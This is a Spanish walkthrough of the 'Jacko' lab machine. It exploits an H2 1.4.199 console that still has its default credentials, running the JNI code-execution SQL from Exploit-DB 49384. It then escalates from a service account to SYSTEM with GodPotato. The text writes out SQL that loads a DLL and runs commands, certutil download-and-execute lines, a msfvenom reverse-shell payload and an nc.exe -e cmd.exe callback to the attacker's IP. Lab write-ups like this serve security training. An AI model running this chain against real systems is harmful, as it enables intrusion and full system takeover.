Jacko
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Jacko expone la consola web de una H2 Database 1.4.199 (puerto 8082) accesible con las credenciales por defecto (sasin contraseña). Esa versión permite cargar una librería nativa arbitraria vía JNI y ejecutar comandos (H2 JNI RCE): escribimos una DLL conCSVWRITE, la cargamos conSystem.loady ejecutamos un binario que nos da shell comojacko\tony. La cuenta tieneSeImpersonatePrivilege, así que un GodPotato (familia Potato) nos lleva ant authority\system.
Reconocimiento
Escaneo inicial
TTL 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Barremos todos los puertos TCP y luego identificamos servicios sobre los abiertos:
ping -c 1 192.168.212.66
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.212.66PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5040/tcp open unknown
7680/tcp open pando-pub
8082/tcp open http
9092/tcp open XmlIpcRegSvcnmap -p80,135,139,445,5040,7680,8082,9092 -sCV 192.168.212.66 -oN targetedScanPORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: H2 Database Engine (redirect)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5040/tcp open unknown
7680/tcp open pando-pub?
8082/tcp open http H2 database http console
|_http-title: H2 Console
9092/tcp open XmlIpcRegSvc?El dato que manda es claro: el 80 redirige a una H2 Database Engine y el 8082 sirve directamente la consola web de H2. El 9092 es el puerto TCP del propio motor H2 (su servidor de conexiones). H2 es una base de datos Java embebida; su consola web suele permitir definir y abrir conexiones JDBC arbitrarias, y ahí está el punto interesante.
H2 Console - TCP 8082
La consola abre con un formulario de login JDBC preconfigurado como Generic H2 (Embedded): clase org.h2.Driver, URL jdbc:h2:~/test, usuario sa y contraseña vacía. Son las credenciales por defecto de H2, y aquí no se han cambiado:

El usuario sa con contraseña vacía son las credenciales por defecto de H2, documentadas en cualquier hilo sobre la base de datos:

Al conectar entramos en la consola SQL. El panel lateral revela la versión exacta del motor, H2 1.4.199 (2019-03-13):

Esa versión es la clave. H2 1.4.199 permite, desde una sesión SQL autenticada, escribir ficheros en disco y cargar librerías nativas vía JNI, lo que se traduce en ejecución de comandos.
Explotación
H2 1.4.199: ejecución de comandos vía JNI (Exploit-DB 49384)
searchsploit documenta el vector exacto para esta versión:
searchsploit 'h2 database 1.4.199'
searchsploit -m java/local/49384.txtH2 Database 1.4.199 - JNI Code Execution | java/local/49384.txt
URL: https://www.exploit-db.com/exploits/49384El exploit de Markus Wulftange (Exploit-DB 49384) trae el SQL completo: la DLL ya compilada, incrustada como cadena de caracteres, y las llamadas para cargarla y evaluar código:

La técnica tiene tres pasos, todos como sentencias SQL (H2 JNI RCE). Primero CSVWRITE escribe en disco una librería nativa (JNIScriptEngine.dll) cuyos bytes vienen incrustados como caracteres en el propio SQL:

Después se declara un alias sobre java.lang.System.load y se carga la DLL (la consulta devuelve null, es decir, cargó sin error):
CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load";
CALL System_load('C:\Windows\Temp\JNIScriptEngine.dll');
Por último se declara un alias sobre el método eval que expone la propia librería, que evalúa código Java arbitrario. Lo usamos para invocar Runtime.exec y comprobar el contexto de ejecución:
CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()).useDelimiter("\\Z").next()');La consulta devuelve la salida del comando dentro de la propia consola: el servicio H2 corre como jacko\tony.

Shell como tony
Convertir esa ejecución puntual en una shell interactiva es directo. El primer intento se hizo con un rev.exe, y sirve para ver el flujo completo de la consola H2: arriba el SQL statement que se escribe, abajo el eco de la sentencia, su resultado en azul y, dentro, la salida real del proceso Windows.

CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("certutil.exe -f -urlcache -split http://192.168.45.177/rev.exe C:\\Windows\\Temp\\rev.exe").getInputStream()).useDelimiter("\\Z").next()');
**** Online ****
0000 ...
0144
CertUtil: -URLCache command completed successfully.
(1 row, 204 ms)En el panel de la izquierda se lee también la versión exacta del motor, H2 1.4.199 (2019-03-13), que es la que hace que este JNIScriptEngine esté disponible.
El binario definitivo se genera con msfvenom, se sirve por HTTP y se descarga con certutil desde la propia ejecución JNI:
msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=192.168.45.177 LPORT=8082
python3 -m http.server 80
rlwrap nc -nlvp 8082
Desde la propia ejecución JNI, certutil descarga el binario y lo lanza:
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("certutil.exe -f -urlcache -split http://192.168.45.177/shell.exe C:\\Windows\\Temp\\shell.exe").getInputStream()).useDelimiter("\\Z").next()');
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("C:\\Windows\\Temp\\shell.exe").getInputStream()).useDelimiter("\\Z").next()');
El listener recibe la conexión y obtenemos shell como jacko\tony:

connect to [192.168.45.177] from (UNKNOWN) [192.168.212.66] 64176
Microsoft Windows [Version 10.0.18363.836]
C:\Windows\System32>whoami.exe
jacko\tonyUn detalle de esta shell: como hereda el entorno del proceso H2, viene con la variable PATH recortada y comandos básicos como whoami no se resuelven hasta que indicamos la ruta completa (whoami.exe).
Post-explotación
Local
type Desktop\local.txt & whoami & ipconfig & hostname
011cd16d3a5924ab32cfe79a531778b7
jacko\tonyEscalada: SeImpersonate + GodPotato
Lo primero es restaurar un PATH razonable para poder trabajar con comodidad, y con él comprobamos los privilegios del token:
set PATH=%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\
whoami /priv
Privilege Name Description State
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects EnabledSeImpersonatePrivilege habilitado es la entrada habitual de la familia Potato: una cuenta de servicio con este privilegio puede forzar a un servicio SYSTEM a autenticarse contra un named pipe que controlamos y robar su token (abuso de SeImpersonate). systeminfo confirma el sistema, Windows 10 Pro build 18363 (x64):

En Windows 10 / Server 2019, JuicyPotato ya no funciona por los cambios en el broker DCOM; la herramienta que sí lo cubre es GodPotato, que abusa del mismo flujo a través de RPC/DCOM.
GodPotato depende de la versión de .NET Framework instalada, así que la consultamos en el registro:
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -Recurse
InstallPath : C:\Windows\Microsoft.NET\Framework64\v4.0.30319\
TargetVersion : 4.0.0
Version : 4.8.03752Hay .NET 4, así que descargamos la build GodPotato-NET4, la subimos con certutil y comprobamos que nos devuelve ejecución como SYSTEM:
wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe -O godpotatonet4.exe
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...certutil.exe -f -urlcache -split http://192.168.45.177/godpotatonet4.exe godpotatonet4.exe
.\godpotatonet4.exe -cmd "whoami"GodPotato crea un named pipe, dispara el servicio RPCSS y roba el token de SYSTEM:

[*] Trigger RPCSS
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] Start Search System Token
[*] PID : 792 Token:0x768 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] CurrentUser: NT AUTHORITY\SYSTEMLa ejecución de GodPotato confirma el robo del token de SYSTEM. Para una shell interactiva, repetimos con un nc.exe, más abajo.
Shell como SYSTEM y Proof
Para una shell completa, dejamos que GodPotato lance un nc.exe contra nuestro listener. Primero traemos el nc.exe (reutilizamos el de otra máquina) y lo servimos por HTTP:
locate nc.exe
cp /machines/bart/exploits/nc.exe .
python3 -m http.server 80
# locate nc.exe | head -n 10
/machines/bart/exploits/nc.exe
...
# cp /machines/bart/exploits/nc.exe .
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...Con nc a la escucha en el 445:
rlwrap nc -nlvp 445certutil.exe -f -urlcache -split http://192.168.45.177/nc.exe nc.exe
.\godpotatonet4.exe -cmd ".\nc.exe 192.168.45.177 445 -e cmd.exe"
[*] Start Search System Token
[*] PID : 792 Token:0x768 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 2432
# rlwrap nc -nlvp 445
listening on [any] 445 ...
connect to [192.168.45.177] from (UNKNOWN) [192.168.212.66] 64271
Microsoft Windows [Version 10.0.18363.836]
C:\Windows\system32>GodPotato roba el token de SYSTEM (CurrentUser: NT AUTHORITY\SYSTEM) y lanza nc.exe, que conecta de vuelta al listener: recibimos una shell como nt authority\system.
Ya como SYSTEM, leemos la prueba en el escritorio del administrador:
type C:\Users\Administrator\Desktop\proof.txt & ipconfig & hostname
d3bfaae06721afd9829899dfe316bc45Cadena de ataque
H2 Console (8082) -- credenciales por defecto sa / (vacia)
│ H2 1.4.199 -> JNI Code Execution (Exploit-DB 49384)
▼
CSVWRITE escribe JNIScriptEngine.dll -> System.load -> JNIScriptEngine.eval
│ Runtime.exec + certutil descarga shell.exe
▼
shell como jacko\tony (local.txt)
│ SeImpersonatePrivilege Enabled + .NET 4 -> GodPotato-NET4
▼
nt authority\system (proof.txt)Lecciones aprendidas
- Las credenciales por defecto siguen abriendo puertas. La consola de H2 venía con
sasin contraseña; no hizo falta romper nada para entrar en una sesión SQL con capacidad de escribir en disco. - Una base de datos que carga código nativo es ejecución de comandos. H2 1.4.199 permite
CSVWRITE+System.load+ un aliaseval: tres sentencias SQL encadenadas que cargan una DLL y evalúan Java arbitrario. El motor de datos se convierte en un intérprete. SeImpersonatePrivilegeen una cuenta de servicio suele significar SYSTEM. Las cuentas de servicio lo tienen por diseño, y la familia Potato lo convierte en escalada. En Server 2019 / Windows 10, GodPotato es la variante que reemplaza al ya mitigado JuicyPotato; conviene casar la build con la versión de .NET.- Atención al
PATHheredado en shells de servicio. La reverse shell entró con el entorno del proceso H2 ywhoamino se resolvía; restaurarPATHes un primer paso que ahorra confusión antes de enumerar.